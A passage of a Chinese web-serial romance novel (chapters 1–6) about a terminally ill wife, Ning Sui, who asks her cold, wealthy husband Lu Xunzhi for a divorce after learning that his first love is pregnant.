《白月光怀孕我让位,死遁后渣总却疯了》 第1章 她确诊绝症时,他在陪白月光安胎 陆勋之出差三个月回来,折腾了一晚上。 宁穗感觉自己像被人拆了又装上,哪哪都是疼的。 最后一次的时候,他看着宁穗身上的痕迹,喉间溢出轻笑,带着几分打趣和宠溺,“你现在怎么这么脆弱,我都没使劲。” 宁穗低头看自己身上青青紫紫的印子,鼻尖有些酸。 她病了,血癌,医生说半年内必须做骨髓移植手术,不然就只能等死。 她不想死,她还这么年轻。 宁穗看向眼前的男人,手指轻轻划过他的下颌线,有些恍惚。 上天就是这么偏爱陆勋之,顶级家世,绝世容颜,什么都是完美的。 唯独不爱她。 陆勋之对她很冷淡,结婚五年,只有在床上的时候,他才会动情温柔。 当初宁穗的母亲救过陆奶奶,奶奶知恩图报,又喜欢宁穗的性子,便给她和陆勋之指了婚。 两人没感情。 确切地说,是陆勋之对她没感情。 宁穗早就爱上陆勋之,从少女心事,到嫁给他,没人知道宁穗心里有多开心。 知道自己身体垮了,宁穗是有些害怕的,舍不得妈妈,更舍不得陆勋之。 这段日子她配合治疗,孤孤单单,生怕陆勋之看出她的异样,都没敢给他打视频电话。 陆勋之出差,一走就是三个月。 好不容易等他回来,宁穗想跟他商量,帮她找合适的骨髓。 陆家是医疗巨头,资源多。 宁穗也不想求他,但现在她想不出别的办法。 半年,只有半年了。 一晚上她任由陆勋之折腾,看他这会儿心情不错,想借着这个机会讲,“你出差的事办得怎么样?” 陆勋之眉间闪过一丝愉悦,虽然不知道他出差为了什么,但看上去是很顺利,“办成了。” 宁穗抿唇,想张嘴请他帮忙,又怕他觉得自己是个麻烦。 羞耻感和对死亡的恐惧交战一番,她好不容易决定开口,“陆勋之,我有话想跟你说,我……”病了。 宁穗的话都没说完,陆勋之的手机响起,她扫了一眼,是宋姜。 陆勋之心里的白月光。 宁穗身子一坠,陆勋之本来搂着她的手臂,迅速抽了回去。 男人起身,随意扯了浴巾裹住,宽肩窄腰长腿,每一寸肌肉线条都恰到好处的好看。 他快步去了浴室。 大概有猫腻的男人,都不敢当着妻子接别的女人电话。 但陆勋之没有一丝愧疚,应该是觉得宁穗的感受不重要。 他之所以走开,单纯是不想宁穗听到电话的内容吧。 宁穗苦笑,心尖疼了一下,腿不听使唤,等她反应过来的时候,人已经走到了浴室门口。 “这么晚还不睡?”陆勋之的声音很温柔,好像害怕惊吓到谁一样。 宁穗听不到对方说什么,但陆勋之听完笑了笑,“哪有那么快?我问过医生,胎动是在四个月之后。” 一道雷在脑海里炸开,宁穗觉得整个人被劈成碎片。 陆勋之出差三个月,原来是去找宋姜造人了? 她呆呆地看向旁边的垃圾桶,里面躺着四只套。 刚才陆勋之第一次来得急,没有用,但后边都很注意。 怪不得要她这么多次,还以为是久别胜新婚,原来是宋姜身子不方便,到她这来发泄。 宁穗嘴角泛起苦笑,陆勋之更残忍的话,钻进她的耳朵里,“我现在不会跟她要孩子,你别管那么多,管好自己的身体就行。” 怀孕了,呵,挺好,宁穗脸颊有些凉,她抹了一把,才发现自己已经泪流满面。 这么多年的陪伴,终究成了笑话。 “你在这干什么?”男人肃冷的声音砸下来,将宁穗的梦彻底砸醒了。 是啊,该结束了。 宁穗没看他,转身要走,身体突然悬空。 陆勋之抱起她,轻飘飘的,只剩一把骨头一样,眉头隆起小疙瘩,“成天说自己身体不好,还光着脚站在地上,这么不会照顾自己,身体会好?” 这种责备听得多了。 宁穗刚开始还觉得他是在关心自己,只不过是语气不好,方式不对。 可现在看来,他大概就是嫌弃她吧。 陆勋之把宁穗放在床上,她倏地翻身过去,背对着陆勋之。 男人愣了一下,刚才还好好的,怎么突然就这么冷淡了。 陆勋之握住宁穗的手臂将人扯过来,眼睛倏地睁大了,声音沉下来,“怎么流鼻血了?” 他拿了纸巾过来帮她擦,单手托起她的上半身,将人半抱在怀里。 宁穗见怪不怪,扯过纸巾自己处理,声音很冷淡,“没事,空气干燥。” “我不在,你都不知道照顾自己吗?你下个月就二十六了,怎么还跟个孩子一样?” 宁穗眉头皱起,她听够了,突然问:“宋姜找你做什么?” 陆勋之的动作一顿,打量了宁穗两眼,对方只垂着眸子,看不出情绪。 “跟你没关系,少打听。” 宁穗的手指甲嵌进手心,跟她没关系? 是,人家都有孩子了,才是一家人,她,不过是个奉命成婚、没感情的妻子而已。 心像被人一刀刀地片开,血淋淋的。 宁穗深呼吸,呢喃了一句,“是,跟我没关系。” 他们的幸福,跟她有什么关系呢。 陆勋之的手机再次响起,那头是女人有些惊恐的声音,“勋之,我突然肚子痛,我好害怕啊!你快来看看我吧。” 男人倏地站起身,几乎是将宁穗甩在床上。 “让佣人备车,送你去最近的医院,我马上过去。”陆勋之的脸色黑得吓人,冲进了衣帽间。 宁穗的心口都是疼的,这些年,她不敢争不敢抢,乖乖做自己的陆太太。 五年了,还是没能焐热这块石头。 大概是不甘心吧,宁穗抓住了陆勋之的袖子,声音都是颤的,“别走,行吗?” 她都快死了! 宁穗的脸白得像纸,脸颊上抹开的鼻血,一丝丝的,看上去快要碎了。 陆勋之愣了一下,手机里宋姜的声音再次传来,痛苦又害怕,“勋之,我好痛啊!” 男人眼中最后一丝怜悯闪去,“宁穗,别任性。” 他甩开宁穗的手,走到门口的时候,宁穗冷然的声音传来,“陆勋之,我们离婚吧。” 第2章 宁穗,人不能既要还要 陆勋之脸沉得能滴出水,“你说什么?” 宁穗知道,他听见了,现在不过是在质问她,提离婚,怎么敢呢? 不爱你的人,你就算是快要死了,他也觉得你是在矫情。 是啊,她都快要死了,还有什么顾忌的呢? “你要么留下,要么离婚。”宁穗还是第一次这么强势,不容拒绝的口吻,让陆勋之一愣。 手机那头传来宋姜隐忍的声音,“勋之,是不是宁穗不让你来啊?没事,你别管我了。”说完哽咽了一下,“保姆陪着我就好。” 啪!手机挂断。 宁穗看到陆勋之的手指节捏得发白,男人已经在爆发的边缘。 这些年陆勋之虽然对她冷淡,但两人还算相敬如宾,只是没有爱,搭伙过日子而已。 他这么愤怒的样子,宁穗还是第一次见。 “随便你!” 砰!男人丢下这句话,摔门而去。 宁穗被震得浑身抖了一下。 她怔怔地坐回去,像飘零的叶子,摇摇欲坠。 当当当! “太太,你睡了吗?”佣人敲门而入,根本没有给宁穗回应的机会。 她慌乱扯过睡衣勉强裹住身体,声音透着冷意,“有事?” “喝药。”佣人手里捧着一碗药,还没靠近,宁穗就闻见了。 这些年婆婆一直给她抓药补身体,希望她早点怀上孩子。 宁穗觉得自己都被药腌入味儿了。 浑身都透着一股恶心的酸苦气息。 她受够了,真的受够了。 宁穗指着垃圾桶,“没看见你家先生用了套吗?给我喝药有什么用?我怀不上!” 佣人看了一眼垃圾桶,挑了一下眉毛,“太太,你还是先把药喝了吧。” “放那吧。” “不行,我要看着你喝。” 宁穗掀起眼帘看她,“毒药吗?你非要看着我喝?” 她是带着气的。 陆勋之不尊重她,就连家里的佣人都给她脸色看。 佣人愣了一下,宁穗平时都挺好摆布的,她甚至有时候都不给宁穗做饭,随便给点零食就打发了。 喝药这个事上,也从来没有反抗过,今天怎么这么凶。 “太太,药是夫人给你准备的,你别为难我。” 佣人是婆婆安排的,宁穗打狗还要看主人,“我饿了,你帮我弄点吃的。” “哦。”佣人一步三回头地走出去,看到宁穗将药碗递到嘴边,才转身走了。 再回来的时候,佣人手里拿了几袋饼干,放在一边,拿走了碗。 宁穗等她走后,关上了门,捡起饼干看,饼干都碎成渣了,看上去不知道放了多久。 她将饼干丢进了垃圾桶。 …… 陆勋之回来的时候,已经是第二天早晨,他回到卧室的时候,看到宁穗在梳妆镜前化妆。 她很少化妆,要不是现在人太憔悴,她也懒得摆弄这些。 男人扫了一眼她的眼睑,明明扑了粉,还是遮不住的青色,看上去很可怜。 昨晚她的忤逆,他决定既往不咎,“帮我找套衣服。”他今天还要去公司开会。 宁穗没动,在镜子里跟他对视一眼,拿出几张纸,放在梳妆台上。 离婚协议书! 陆勋之冷不丁笑了,“什么意思?” “我说了,我要离婚。”宁穗声线很淡,像是在谈一笔生意,“我要一千万现金,别的都不要。” 房子车子,本来就不在她名下,陆家的家产也不可能跟她平分。 一千万对陆勋之来说不多,但是足够她后续的治疗。 万一治疗失败,也算给妈妈留点养老钱。 “一千万?”陆勋之像是听到什么笑话,“陆太太的名头就值一千万吗?” 宁穗缓缓掀起眼皮看向他,眸光没了往日的色彩,“你又不喜欢我,我给你喜欢的人腾地方。” 给他心爱的人生的孩子,一个名分,不好吗? 陆勋之像是没听到她的话,走进了衣帽间。 他脱下西装衬衣西裤,紧实的身材一览无余。 宁穗曾经也那么迷恋过。 陆勋之拿着领带丢在宁穗身上,她反射性地接住。 “给我系上。”陆勋之站在她跟前,昂着下巴,带着上位者的威压。 宁穗伸手,将领带挂在他脖子上,却没再动,“我们都要离婚,这些事,我不会做了。” “这些事?”陆勋之居高临下地睨着她,“你不就喜欢做这些吗?” 为他准备衣服,搭配领带,选购配饰。 宁穗结婚后就没再工作,被婆婆圈在一个小工作室里,为婆婆画内画制品,用来社交送礼。 回到家就是照顾陆勋之的起居生活。 她更像一个老妈子,而不是妻子、儿媳。 宁穗深吸一口气,压下眼底的湿意,“我现在不想干了。” 陆勋之捏住宁穗的下巴抬起,折得她脖子有些痛。 “你母女俩挟恩图报,不就是为了荣华富贵吗?你现在闹,奶奶会怎么样?”陆勋之冷笑,眼底没有一丝情谊,“宁穗,人不能既要还要。” 要了富贵,就不能再奢望他的爱。 她以为她可以的。 日复一日的爱他,总会感动他。 可没想到在陆勋之眼里,她不过是个贪图富贵,挟恩图报的小人而已。 宁穗突然觉得自己挺可笑的。 是什么让她产生错觉,在她快死的时候,认为陆勋之会拉她一把。 他大概巴不得自己快死,给宋姜腾地方吧? 现在不离婚,也不过是因为顾及到陆奶奶。 等到宋姜生下孩子,母凭子贵,就是扫她出门的时候。 他大概从来都没有对她动过真心吧,不然怎么会隐婚五年,都不曾对外介绍过她? 也许,他在等着无缝换妻,既不会影响他的形象,又能保全宋姜最大的体面。 真好啊,可她宁穗凭什么当跳板呢? “一千万?”陆勋之拿起协议,嫌恶地丢进垃圾桶,“你还真敢提。” 宁穗紧紧闭了一下眼睛,被陆勋之捏过的地方,疼得钻骨。 “那好,我净身出户。”宁穗声音低沉又坚定,又不是没了男人就不能活了。 陆勋之眼刀飞过来,在看到宁穗下巴上淡青色的印迹时,愣了一下,他刚才有这么用力吗? 捏一下就青了。 他狐疑地走到宁穗跟前,手指抬起她的脸,打量了几个来回。 她的脸色,好差。 陆勋之,“生病了?” 第3章 快病死了。你开心吗? 宁穗眼睫颤了颤,扯唇笑笑,“是啊,快病死了。你开心吗?” 说的什么话。 陆勋之脸色黑下来。 手机响起,陆勋之接通,“奶奶。” 宁穗听不到那边说什么,只见陆勋之捏了一下眉心,无奈道:“没有。你不信自己问她。” 下一秒,手机抵到她跟前,陆勋之警告的眼神扫过来。 不管陆勋之对她怎样,陆奶奶一直对她都很好。 宁穗接过手机,声音也不像刚才那样没有情感,而是带了晚辈的乖巧,“奶奶。” 陆勋之看着她的样子,愣了愣,这才是宁穗应该有的样子。 听话,柔顺。 奶奶咳嗽了两声才问,“穗穗,那臭小子是不是又欺负你了?” 宁穗看了一眼陆勋之,不想奶奶为难,她做过搭桥手术之后,身体一年不如一年。 “奶奶,没有。”宁穗撒了谎。 “哼,你又帮着他是不是?”陆奶奶不买账,“我刚才听见你家的佣人给勋之妈妈打电话,说他昨天晚上摔门走的。 “穗穗,他要是欺负你,一定告诉奶奶,帮你出气。” 嫁到陆家这么多年,被冷淡漠视,被利用欺负,宁穗能坚持下来,全靠着奶奶给的疼爱。 她的眼眶有些热,“奶奶,我真的没事。” “好孩子,你把手机给勋之。” 陆勋之接过手机,目光始终定在宁穗脸上,可她只垂着眸子,根本没看他一眼。 “臭小子,我知道那个宋姜回来了,你要是敢为了她欺负宁穗,我不会放过你们俩。” 啪!奶奶挂断了电话。 陆勋之的脸色沉下来,“呵,一边说不挟恩图报,一边又在奶奶面前告我的状。宁穗,没想到你还有两副面孔。” 要不是她说,奶奶怎么会知道宋姜回来了? 宁穗觉得自己现在说什么都是徒劳,苦笑一声,“你既然这么烦我,那就离婚吧。我什么都不要,我们去领个证就行。” 陆勋之冷哼了一声,直接走了。 无视她,就像过去的五年一样。 …… 唐佳笑到工作室的时候,宁穗的内画品已经接近尾声,今晚再加个班,就差不多完成了。 “你这个复刻了《唐宫仕女图》?”唐佳笑先是惊叹,随即有些可惜,“让你一个衡派内画正儿八经的传承人,天天窝在这么一个小小的工作室里,你婆婆真是剥削人。” 宁穗将内画笔放到笔帘上,嘴角勾起很淡的笑意,“这是给周夫人的礼物,周夫人帮过我。” 那也是经过宁穗婆婆的手送出去,好名声还是她婆婆的。 唐佳笑没说,不想让宁穗心里难受。 “咳咳!穗穗,你还是换个工作室吧。”唐佳笑咳嗽了几声,“我每次来你这,都嗓子不舒服。” 宁穗点头,“要换了,我不会再用陆家的东西。” “什么意思?” “我要跟陆勋之离婚。” 宁穗说这话的时候,手中还在整理工具,桌面整理得板板正正,一丝不苟。 她好像在说一件平常事,让唐佳笑愣了半天。 唐佳笑知道她,看上去坚强,心里肯定像被挖走了一块肉。 她上前抱住宁穗,拍她的后背就像是在哄小孩,“宝,你真决定了?” 宁穗被她的样子逗笑了,“他都跟别的女人有孩子了,我没什么放不下的。” “谁啊?不会是那个宋姜吧?”唐佳笑知道宋姜的存在。 当初婚礼上,陆勋之接到宋姜的电话,一走了之,宁穗成了御城的笑话。 唐佳笑作为她的伴娘,全程目睹了她的窘迫。 “对。”宁穗叹了口气,“从这个角度来说,陆勋之倒也算是长情。” 唐佳笑气笑了,“这算哪门子长情,这叫狗改不不了吃屎。” 宁穗,“……” “你现在退出不就便宜他们了?”唐佳笑为宁穗鸣不平,“这些年,你伺候老太太,还被你婆婆剥削。” 她捏起宁穗的手,上面有划伤和茧子,再看一眼小作坊一样简陋的工作室。 谁能想到,衡派内画大师的嫡传弟子,一件小物件都能卖十几万块的作品,竟然是在几平米的小作坊里画出来的呢? 要不是嫁给陆勋之,陆夫人就不让宁穗出去做事了,她现在业内的含金量,还得上升。 “这些年,你做出来的好东西,都被你婆婆拿去送人情,甚至还拿去拍卖过。一家子的吸血鬼。” 宁穗看她情绪激动,安慰道,“没事,离婚之后我就为我自己活了。” 可她还能活多久呢? 想到这个,宁穗的心沉了沉,“笑笑,有件事,我要告诉你。我,病了。” …… 陆勋之一上午脑袋都有些懵,每天早上都是宁穗给他煮咖啡。 不知道她从哪儿弄的咖啡,醇香可口,比公司里的特供咖啡还要好喝。 但今天两人不欢而散。 离婚?呵,这种欲擒故纵的手段都用上了,陆勋之想到宁穗的脸,还有那些痕迹…… 他抬起手,旁边正在汇报形成的助理顿住。 “帮我调取一下宁穗的体检报告。” 陆家人每半年都会有一次详细的体检。 助理得令之后出去,陆勋之想了想拿起手机,给家里打了电话。 是佣人接的。 “太太呢?” 佣人恭恭敬敬地回答,“太太一早就出去了,应该是去工作室了。” “嗯,晚上我要吃酒酿圆子。”陆勋之说完就挂断了电话。 佣人愣了愣,先生一向不喜欢吃甜食,酒酿圆子是宁穗喜欢的,也只有宁穗会做。 她转手给宁穗打了电话过去,那边响了好久才接,佣人没什么耐心,“太太,先生要吃你做的酒酿圆子。” 宁穗那头顿了一下,“家里有糯米和酒酿。” 佣人,“我不会做啊。先生让你做。” 宁穗哼笑了一声,“那就让他自己做。” 啪!宁穗挂断了电话。 宁穗做到最后一步的时候,手机又响了,她瞥了一眼,是陆勋之。 她腾出一只手,将手机静音,没接。 刚挂断,房门就被敲响了。 宁穗没理,唐佳笑有事先走了,她这会儿自己一个人。 工作室在的这个地块不是高档写字楼,她又没叫外卖快递,敲门的肯定不是她认识的人。 她正想着,门外传来了陆勋之带着怒气的声音,“宁穗!开门!” 第4章 宁穗不会给他生孩子 听到陆勋之的声音,宁穗一愣。 他从来没踏足过这间小工作室。 宁穗甚至觉得,陆勋之根本不知道她的工作室在哪儿? 去年陆勋之三十岁生日,她专门给他做了一个内画瓶当做礼物。 送给他的时候,宁穗看到他眼底的诧异,还问她是在哪个拍卖会拍回来的,看着不错。 评价很高,但还不如不评价。 在陆勋之眼里,宁穗就是个无所事事的家庭主妇。每天只关心他的生活起居,所以才会点名让她来做酒酿圆子。 宁穗当时很难受,没解释这是她亲手做的。 一周后,那个礼物真的上了公益拍卖会,以陆勋之母亲的名义,拍出了三百万的价格。 虽然溢价了一部分,但也并不多。 陆勋之的母亲,宁穗的好婆婆,名利双收。 宁穗慢条斯理地放下笔,擦了擦手,才起身走到门口,打开门便撞进陆勋之阴鸷的眼神。 男人很淡地扫她一眼,推门而入。 玄关很窄,男人身量宽,肩膀蹭过宁穗,她有些站不稳,摔靠在玄关柜上。 手腕扭了一下,宁穗疼得嘶了一声。 工作室就几十平,宁穗没做隔断,视线扫过去,一览无余。 陆勋之看一圈,没有别人,他眼底的狠厉缓了几分。 “为什么不接电话?”男人冷眸扫过来。 宁穗揉了揉手腕,以为他是嫌自己没给他做酒酿圆子,语气也不好,“没看见我在忙?” 陆勋之的神色一顿,宁穗一向温顺,从来没有这样冷淡过。 他视线微微向下,宁穗刚才动作有些大,衣领微微扯开。 昨晚男人留下的痕迹,清晰可见,暧昧不清。 再看她的下颌线上,还有两人争执时,他留下的指印。 她的皮肤太白太嫩,他轻轻用力就会痕迹明显。 看到这,陆勋之面色缓和了一些,“走了。”说完,男人往门口走去。 身后传来的脚步声却方向相反。 陆勋之回头,看到宁穗又坐到工作台前,拿起了笔。 台灯下宁穗的表情格外专注。 她甚至没去注意陆勋之什么时候走的。 一小时后,她完成了部分收尾工作,头有些发昏。 自从发现自己生病之后,宁穗也不敢太拼。 生怕自己熬不住,身体状况更严重。 她放下笔,起身拉伸了一下,收拾好东西,转身打算走的时候,看到沙发上的人,愣住了。 陆勋之竟然没走。 将近一米九的身形,窝在她的单人小沙发里睡着了。 双手抱在胸前,西装有些皱,看上去有些滑稽。 宁穗缓步上前,弯腰与他平视。 男人眼底的青色难掩。 看上去最近休息得并不好。 陆勋之胃不好,宁穗一直都很注意他的饮食。 结婚这几年,宁穗把他养胖了几斤。 脸色也比以前更好。 明明三个月前离开的时候,人还是健健康康的,回来却变得这么憔悴。 这三个月,过得很差吗? 宁穗心像被什么揪了一下,抬手想去抚平他眉心的褶皱。 忽然,陆勋之放在一旁的手机屏幕无声亮起。 【阿勋,你来的时候记得带酒酿圆子,快点啊,我想你……】 是宋姜发来的信息,后边的内容看不到。 手机屏幕熄灭,黑掉的屏幕映出宁穗冷若冰霜的脸。 宁穗惯性地担心陆勋之的生活。 是这五年的夫妻情分,攒下的习惯。 宁穗想到这,突然扯唇苦笑,对方都出轨白月光怀孩子了,她还在这可怜他? 真是活该被绿。 宁穗冷了神色,准备起身,男人呢喃出声,“宁穗,我冷。” 宁穗冷冷地看着他,轻声说:“怎么不冻死你。” 说完,她收拾了东西,随手拿了陆勋之的车钥匙,转身出了工作室。 在楼下,宁穗一眼就看到陆勋之的车,开锁上车,扬长而去。 陆勋之一会儿醒来大概会去找宋姜吧。 毕竟那边还巴巴等着他去送夜宵。 这么急,打车去吧。 宁穗回到景园,看着两人的婚房,突然觉得这里一直都冷冰冰的。 这么多年的婚姻生活,只剩下她一个人的回忆。 她从来都不是物欲重的人,看了一圈,满屋子的奢侈品,都是陆勋之让助理给她买来的礼物。 可她都没怎么用过。 想着要离婚,也没什么要带走的,唯一舍不得,就是家里的浴缸。 几十万的浴缸带不走,那就再享受一次吧。 明天一早,她要搬出景园。 躺靠在浴缸里,宁穗的目光没有焦距,怔怔望着墙角。 手机响起,她慢半拍地看过去,是师兄发来的信息。 【小穗,下个月的展览,你来吗?】 宁穗眼眶一热。 这些年,她什么都以陆勋之为先,他占有欲极强。 即便不喜欢她,也不希望她被人染指。 宁穗渐渐断了所有社交,身边只剩一个唐佳笑。 跟她关系最好的师兄,她也逐渐远离。 只因对方是男人,她不想让陆勋之不高兴。 师兄也有分寸,逢年过节,只发个祝福短信,模板的那种。、 宁穗几乎不回。 【小穗,只是来参加展览,要是不方便也没事。天气转凉,你保重身体。】 师兄的信息再次过来,隔着屏幕都透着小心翼翼。 仿佛怕打扰她平静安稳的生活。 也只有真心关心自己的人,才会在乎,他的一言一语,可能会给她带来的麻烦。 宁穗吸了吸鼻子,回了过去,【师兄,我会去。】 师兄秒回,【好,我给你发邀请函。】 随即跟过来一个开心的表情。 这一夜宁穗睡得并不安稳,早上醒来的时候,有些感冒。 这不是好兆头,她现在的身体禁不住折腾。 宁穗下楼,打算找点药吃,佣人却堵住了她的去路,随即怼上来一碗黑药汤。 每天三顿,婆婆让佣人给她准备的补药。 宁穗现在看一眼都觉得恶心。 “拿开。”她身体不舒服,语气也不好。 佣人一顿,想到这两天宁穗的态度一百八十度大转弯,她也有些打鼓。 但是想到自己是陆夫人的人,便又硬气起来,“夫人给您准备的药,是促进您怀孕的,您就算是不领情,也要为自己打算。” 怀孕? 可笑,陆勋之都跟自己最喜欢的人有后了,还需要她怀吗? 不被期待的孩子,就算是生出来,也只会被继续嫌弃。 就算念在是陆勋之的种,强行从宁穗身边抢走,那她也不愿意。 她身上掉下来的肉,凭什么给别人? “我不会给陆勋之生孩子。”宁穗声音不大,一字一顿,说得掷地有声。 “那你想给谁生?” 第5章 陆勋之拿到她的体检报告 宁穗一愣,看向门口,撞上陆勋之阴冷的目光。 男人还穿着昨晚的那身衣服,下巴上钻出淡淡的青色胡茬,看上去有几分野性的美。 “想给谁生?”陆勋之视线死死攫住她,嘴角噙着冷笑,缓步上前,“我问你话呢,宁穗。回答我。” 宁穗眼睫颤动,余光中佣人八卦的视线不容忽视。 她知道陆勋之这是听到她刚才的话,生气了。 陆勋之的嘴毒,完全不管她的感受,现在又在气头上,他冒不出好话,她还不想在佣人面前丢脸。 “我不想喝药。”宁穗算是说了软话。 陆勋之下颌紧绷又松开,“下去。”这话是对佣人说的。 “可是,先生,这是夫人让……” 陆勋之的视线斜睨过去,佣人打了个寒战,端着药碗讪讪离开。 硕大的客厅只剩下两人。 男人继续上前,皮鞋磕在地板上,发出铿锵的声音。 仿佛踏在宁穗的心口上,压得她喘不上气来。 “回答我,宁穗。”陆勋之倾身,凑到宁穗耳边,低语如情人间的呢喃。 但他的声音冷得像冰凌子,激得宁穗浑身的血液倒流,手指尖冷得发麻。 果然下一秒陆勋之轻笑道:“你的好师兄回来了,所以你不安分了?宁穗,你现在还是我的太太。” 最后两个字,被陆勋之咬得很重,仿佛这样就能将其换做枷锁,卡住宁穗的脖子。 就像过去的五年一样,让她心甘情愿把自己锁起来。 宁穗深吸气,一把推开他,眼底因为激动而泛起了红色,“陆勋之,我说了,我要跟你离婚。” 陆勋之被这句话激怒,猛然上前,单手掐住宁穗的腰,将人扛在肩上。 男人坚硬的肩骨,硌着宁穗的胃,她快要吐出来的时候,被他丢在床上。 宁穗现在太瘦了,只在床垫上,轻轻弹起微弱的弧度。 她猛地转身,想从另一侧逃开。 陆勋之一边拉扯自己的领带,单腿压在她身侧,抓住她的脚腕往回一拉。 她被圈在男人身下。 宁穗双手抵住对方的胸膛,因为生气,胸口起伏得厉害,“别碰我,我嫌脏。” 即便现在宋姜身子不方便,陆勋之珍视她不碰她。 但也免不了会亲,会抱,会摸。 想到他刚刚跟宋姜耳鬓厮磨惹起的火,因为心疼宋姜,而发泄在她身上。 宁穗浑身的刺都支棱起来,猛地一推,将陆勋之推翻在侧。 可她刚要起身,后腰被人掐住按了回去。 宁穗这回在上,趴在陆勋之的身上。 男人垂着眸子睨着她,因为平躺,表情也不似平时狠厉无情。 但还是没什么表情。 两人对视半晌,陆勋之不耐,但语气也没那么生硬,“你昨晚丢下我跑了,你还气?你到底在气什么?” 后边这句,明显带着疑惑。 好似他真的不明白。 显得宁穗在无理取闹。 而他已经放低身段来问她,已经是最大的恩赐。 换在平常,宁穗就已经服软了。 但这样的福泽,宁穗不稀罕,谁爱要谁要。 折腾了半天,宁穗也没了力气,她脑袋一阵阵地发昏。 “陆勋之,我要离婚。” 反反复复就这一句话,陆勋之脸色彻底沉下来,他冷哼一声,“想都别想。” 宁穗脑子里的那根弦嘣的一声断了,眼泪像断了线的珠子,砸在男人胸前,洇湿了布料。 “我净身出户,什么都不要,给你的宋姜腾地方不好吗?你为什么要这么折磨我?你是想看着我死吗?” 在这样下去,她真的要枯萎在这段畸形的婚姻里。 滚烫的泪水砸在胸口,陆勋之的目光也软了下来。 但语气还是硬邦邦的,“我们的事,为什么总扯上宋姜?再说,我现在手里有几个大项目,现在离婚,你是想看陆氏的股票飘绿吗?” 宁穗想说,你为了股票不绿,就绿我吗? 凭什么? 她是什么很贱的人吗? 可她张了张嘴,什么都没说出口,眼前一黑。 耳边是陆勋之焦急的声音,逐渐模糊。 …… 家庭医生给宁穗输上液,“陆总,太太应该是受凉感冒发烧,没什么大碍。但是她的身体亏损很严重,需要加强营养。最好是去医院再做个全面检查。” “嗯。”陆勋之目光一眨不眨地看着床上的人,瘦瘦的一片,在被单下都快看不出形状。 明明三个月前,他临出差,宁穗还面色红润饱满,看上去血气很足的样子。 怎么会突然这么弱不禁风。 “陆总,这是太太的体检报告。”助理调取了文件,递给陆勋之。 男人接过去,扫了一眼床上的人,才翻开看。 看到结果,他的眉心皱了皱。 …… 佣人房内,佣人正在给陆夫人打电话。 “是啊,夫人,太太今天又没喝药,昨天晚上她把我支走,我怀疑也没喝。她今天还跟先生吵了一架,还说不给先生生孩子的话,真的是越来越过——啊!先生,您、您怎么……” 陆勋之一脚踹开佣人房的门,佣人吓得赶紧挂断了电话。 但她转念一想,自己也没做什么,只不过给夫人通风报信而已。 她本来就是夫人派过来的,她是夫人的人。 跟夫人汇报情况,本来就是她的本职工作,陆勋之也是知道的,以前都是默许。 “先生,是有什么事吗?”佣人勉强扯出笑意,毕恭毕敬地问。 陆勋之脸色阴沉得能滴出水。 “这几个月你都给宁穗吃什么?” 佣人一愣,“就、就是家常菜,还、还有夫人吩咐的补药。” 似是意识到什么,她赶紧解释,“那药都是夫人派人送来的,我可什么都没动。” 陆勋之不置可否,半晌冷笑,“你可真是一条好狗。” 不等佣人再说什么,陆勋之冷声道,“马上滚,我不想再看到你。” 佣人愣住,这是要开除她吗? “先生,我是夫人的人!” 陆勋之头也没回,“陆家谁当家,你搞不清楚?” 佣人瞬间僵住。 陆家当然是陆勋之当家。 他要开除,夫人也保不住她。 可是为什么啊? 佣人脑袋里冒出一个想法,陆勋之是在心疼宁穗? 下一秒她疯狂否定自己可怕的念头,陆勋之怎么可能在乎宁穗。 宁穗在陆勋之眼里,还不如一个保姆。 陆勋之回到书房,紧紧闭上眼,疲惫的神态难掩。 片刻后,他再次拿起宁穗的体检报告。 目光落在体检结论上。 第6章 饥不择食 陆勋之看着手中的报告,上面的数值一切正常,宁穗身体好得不得了。 电脑屏幕上是他调出来的监控录像,画面定格在宁穗吃饭的情景。 这三个月来,他不在家,佣人给她做饭敷衍到,有时候只有一杯泡面。 想到宁穗脸色很差,昨晚他抱她的时候,也瘦得硌得慌。 她的身体就是这么搞坏的吧。 陆勋之想。 宁穗这一晚上睡得不安稳。 梦里都是陆勋之,一直冷着一张脸。 无论她哭闹,讨好,甚至歇斯底里,他也只是冷淡的,看都不看她。 就像过去的五年一样,当她是空气。 梦里的宁穗觉得好窒息。 她只是喜欢一个人而已,犯了天条吗? 陆勋之凌晨四点回到房间,借着窗外青灰色的晨光,他看到宁穗紧拧的眉心,还有脸颊上似干未干的泪痕。 仿佛哭了好几场,一层眼泪干掉,又附上新的。 陆勋之眉心轻折,轻手轻脚,走过去,掀开被子上去。 小心地将人搂进怀里。 “陆勋之……” 男人的动作一顿,垂眸打量怀里的人。 眼睫上还沾着泪珠,看上去破碎又可怜。 “嗯。”他明知道宁穗是在说梦话,还是下意识地应声。 想到她在梦里还想着他,郁闷了一夜的心情似乎又好了一些。 他低头,鼻尖小心地蹭了蹭她的脸颊。 冰凉湿润的触感。 “我恨你……” 陆勋之的动作一顿。 覆在她腰上的手微微收紧。 …… 宁穗醒来的时候,已经日上三竿。 昨天是怎么晕过去的,她已经没印象。 轻轻翻身,身侧的床是冰的,没人睡过。 宁穗有些失神,自嘲笑笑。 昨天陆勋之正在兴头上,她感受到了。 箭在弦上,她却晕了。 他一定憋了一肚子火,怎么可能还会留在她身边照顾她。 她手背上有些异样,抬起来一看,有输液扎针的痕迹。 她现在的皮肤很脆弱,手背这会儿已经紫黑。 看上去十分可怖。 宁穗熟视无睹,起床简单收拾了一下,下了楼。 现在身体不好,宁穗更不敢随便透支,三餐必须好好吃。 佣人不给她做饭,她早就习惯了。 厨艺方面,她没什么天赋,但简单的吃食还可以,营养到位就行了。 走到餐厅,看到餐桌上的东西,宁穗愣住。 桌子上满是保温盒,她打开看了看,各色的早餐,还都热的。 看了一眼周围,佣人不在。 这些大概是给陆勋之做的吧。 可能陆勋之着急走,没有来得及吃,才留给她。 宁穗索性坐下来,她是不会跟自己的身体作对。 早餐很合她的口味,宁穗吃好准备去工作室。 给周夫人准备的礼物,还没有完全做好。 她一定要好好弄。 刚结婚的时候,婆婆郑美婵没少刁难她。 迫于陆老太太的压力,婆婆也不得不带着宁穗去参加一些社交场合。 当着外人的面,经常让她下不来台。 话里话外,都是对她的身份不满,觉得配不上她的儿子陆勋之。 其他贵妇人都是见风使舵的主,偶尔也会给宁穗点难堪,来讨好郑美婵。 周家跟陆家势力相当,周夫人从来没有落井下石。 反而帮宁穗解围,给了她不少善意。 所以这次给周夫人的礼物,既是报答周夫人对自己的好,也是宁穗的私心。 如果可以,她想出去找工作,也许周夫人能帮帮忙。 宁穗在工作室里待到了天都黑了。 仕女图总算是完工,她起身动了动,拿起手机,才看到上面有三通未接。 都是陆家老宅的电话。 